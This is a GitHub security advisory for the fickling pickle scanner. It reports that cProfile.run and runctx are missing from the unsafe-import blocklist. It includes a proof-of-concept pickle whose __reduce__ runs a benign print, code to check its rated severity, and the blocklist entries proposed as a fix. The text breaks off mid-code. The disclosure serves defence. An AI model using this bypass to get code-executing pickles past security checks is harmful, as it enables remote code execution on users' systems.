GitHub Security Advisory: GHSA-p523-jq9w-64x9
Package: fickling (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.1.6
Patched in: 0.1.7

Summary: Fickling Blocklist Bypass: cProfile.run()

Details:
# Fickling's assessment

`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).

# Original report

## Description

### Summary

Fickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

### Details

The `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

- File: `fickling/analysis.py`
- Class: `UnsafeImports`
- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`

Reference to similar fix:

- PR #187 added `pty` to the blocklist to fix CVE-2025-67748
- PR #108 documented the blocklist approach
- The same fix pattern should be applied for `cProfile`

How the bypass works:

1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`
2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)
3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous
4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity
5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`

Tested behavior (fickling 0.1.6):

| Function | Fickling Severity | RCE Capable |
|----------|-------------------|-------------|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| cProfile.run | SUSPICIOUS | Yes ← BYPASS |
| cProfile.runctx | SUSPICIOUS | Yes ← BYPASS |

Suggested fix:

Add to the unsafe imports blocklist in `fickling/analysis.py`:
- `cProfile`
- `cProfile.run`
- `cProfile.runctx`
- `_lsprof` (underlying C module)

## PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Environment:
- Python 3.13.2
- fickling 0.1.6 (latest version, installed via pip)

### Step 1: Create malicious pickle

```python
import pickle
import cProfile

class MaliciousPayload:
    def __reduce__(self):
        return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))

with open("malicious.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)
```

### Step 2: Analyze with fickling

```python
from fickling.fickle import Pickled
from fickling.analysis import check_safety

with open('malicious.pkl', 'rb') as f:
    data = f.read()

pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
p